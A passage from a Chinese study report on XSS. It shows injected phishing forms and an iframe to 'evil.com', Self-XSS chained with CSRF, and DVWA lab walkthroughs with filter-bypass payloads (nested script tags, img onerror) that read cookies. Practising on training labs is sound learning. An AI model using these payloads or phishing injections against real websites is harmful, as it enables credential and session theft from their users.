http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
该段代码会在正常页面中嵌入一个 Form 表单。
-
iframe 钓鱼
这种方式是通过
<iframe>
标签嵌入远程域的一个页面实施钓鱼。http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
-
Flash 钓鱼
将构造好的 Flash 文件传入服务器,在目标网站用
<object>
或<embed>
标签引用即可。 -
高级钓鱼技术
注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。
4.5.4 网页挂马
一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe>
标签。
4.5.5 DOS 与 DDOS
注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。
4.5.6 XSS 蠕虫
通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。
4.6 Self-XSS 变废为宝的场景
Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。
- 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录
这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:
- 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
- JavaScript Payload 生成
<iframe>
标签,并在框架内执行以下这些操作 - 让受害者登出攻击者的账号
- 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
- 攻击者从页面提取 CSRF Token
- 然后可以使用 CSRF Token 提交修改用户的个人信息
这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;X-Frame-Options 需要被设置为同源(该页面可以在相同域名页面的 iframe
中展示 )
- 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证
- 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面
- 让用户登录我们的账户页面出现 XSS,利用 使用
<iframe>
标签等执行恶意代码 - 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session
五、反射型 XSS 攻击实战
5.1 Low 级别反射型 XSS 攻击实战
源码审阅
<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}?>
在源码中可以看见只是判断了 name 参数是否为空,如果不为空的话就直接打印出来,并没有对 name 参数做任何的过滤和检查,存在非常明显的 XSS 漏洞
安全级别设置为 Low
,点击 XSS(Reflected)
按钮,进入反射型 XSS 攻击模块
尝试提交弹窗脚本 <script>alert(document.cookie)</script>
,输出用户 cookie,可以直接成功,说明 Low
级别未做任何防护措施
5.2 Medium 级别反射型 XSS 攻击实战
约源码审计
<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";}?>
在源码中可见在 Low 级别的基础上添加了$name = str_replace( '<script>', '', $_GET[ 'name' ] )
,对 name 参数做关于<scripit>
的过滤,使用 str_replace
函数把提交内容中的 <script>
替换为了空值,但同样存在漏洞
安全级别设置为 Medium
,再次尝试直接提交输出 cookie 脚本,发现把脚本内容直接显示出来了,说明对敏感的 JS 脚本做了过滤或转义
考虑到 PHP 严格区分大小写字母,该替换函数只匹配的小写的 script
,并没有匹配大写字母,尝试把 script
全部换成大写,提交 <SCRIPT>alert(document.cookie)</SCRIPT>
,发现可以成功弹窗
该替换函数是对整个 <script>
字符做替换,而且只替换了一次,并没有做递归检查,尝试在 <script>
中再嵌套一个 <script>
,提交 <scr<script>ipt>alert(document.cookie)</script>
,也可以成功
5.3 High 级别反射型 XSS 攻击实战
源码审计
<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";}?>
可以看到在 medium 级别的基础上,high 级别将 name 变量处理修改为:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
,使用了正则表达式直接把 <*s*c*r*i*p*t
给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,<script>
标签在这里就不能用了
preg_replace
函数可以调用正则表达式。我们发现该替换函数使用正则表达式进行了 script 的逐字检查,并通过 /i
来不区分大小写,所在造成之前的方法都不管用
JS 脚本不仅仅可以在 <script>
标签中使用,通过 <img>
标签中 onerror
行为也可以调用 JS 脚本。提交 <img src=1 onerror=alert(document.cookie)>
,成功弹窗
5.4 Impossible 级别反射型 XSS 攻击
查看页面源码,发现使用了 htmlspecialchars
函数对提交的信息进行转义,如图 7-9。该函数会将所有特殊字符转义为 HTML 实体。比如把 <
转义为 <
,把 >
转义为 >
。只要正确的使用该函数,XSS 攻击就可以彻底杜绝
六、存储型 XSS 攻击实战
6.1 Low 级别存储型 XSS 攻击实战
源码审计
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close();}?>
安全级别设置为 Low
,点击 XSS (Stored)
,进入存储型 XSS 攻击页面。发现该页面是个留言板,随意输入留言内容,可以直接显示在当前页面
试在 Message 框提交弹窗脚本输出当前 cookie,<script>alert(document.cookie)</script>
,可以直接弹窗,如图 8-2。说明当前级别没有对攻击脚本做任何过滤和转义
6.2 Medium 级别存储型 XSS 攻击实战
安全级别设置为 Medium
,进入存储型 XSS 攻击页面,直接在 Message 框提交输出 cookie 脚本,发现脚本内容被显示,说明脚本被转义
查看页面源码,发现对 Message 框提交的内容使用了 htmlspecialchars
函数,Message 框的 XSS 基本已不可能;但是我们发现对 Name 框提交的内容只是简单的使用 str_replace
函数进行了简单替换,与 Medium
反射型 XSS 一样。我们只需要更换大写字母,或者 <script>
中再嵌套一层 <script>
即可绕过防御
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close();}?>
在 Message 框随意输入内容, Name 框输入脚本 <script>alert(document.cookie)</script>
,发现脚本无法完整输入,页面对 Name 框的字符长度进行了前端限制
由于只是在浏览器前端进行的字符长度限制,我们只需要在 Burpsuite 中修改数据包就可以轻松绕过限制。配置好 Burpsuite 和浏览器的代理,抓包后,修改 txtName
变量的值为脚本 <scr<script>ipt>alert(document.cookie)</script>
(也可以把 script 转换为大写),。放行数据包后,可以成功提交,并弹窗输出 cookie
6.3 High 级别存储型 XSS 攻击实战
置安全级别为 High
,进入存储型 XSS 攻击页面,查看页面源码,发现 Message 字段仍然使用了 htmlspecialchars
函数;而 Name 字段使用了与 High
级别反射型 XSS 攻击一样的防护方法,使用 preg_replace
函数调用正则表达式对 script
做逐字匹配,并使用 /i
来不区分大小写
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close();}?>
方法与反射型 XSS 一致,不能使用 <script>
标签,但可以使用 <img>
标签。由于前端仍然有字符长度限制,所以仍需要使用 Burpsuite 来修改数据包。在 Burpsuite 中修改数据包中的 txtName
内容为 <img src=1 onerror=alert(document.cookie)>
。放行数据包后成功弹出 cookie
6.4 Impossible 级别存储型 XSS 攻击
查看页面源码,发现 Name 框和 Message 框提交的内容都使用了 htmlspecialchars
函数,彻底杜绝了 XSS 攻击
七、感想
通过国际通用的DVWA靶场学习基础的WEB渗透测试过程中,我学习了 SQL 注入和 XSS 漏洞利用,深刻感受到了WEB安全的魅力所在。通过复现各种各样的漏洞,在实操过程中学习了使用Burpsuite对报文进行修改、怎样利用页面的源代码查看脚本的执行去向、在数据库中的常规查询语句的复习,可以说是讲自己大学生涯前三年所学的知识全部串联起来了,感受到信息安全专业的在现实中的作用。通过攻击,其实我学到更多的是如何在之后的开发过程中,完善自己的代码,养成自己良好的代码规范,避免自己的代码出现可以被利用的漏洞,提高自己的安全意识。DVWA靶场和其它的靶场还有更多的知识等待我去学习,我希望我能掌握更多的相关知识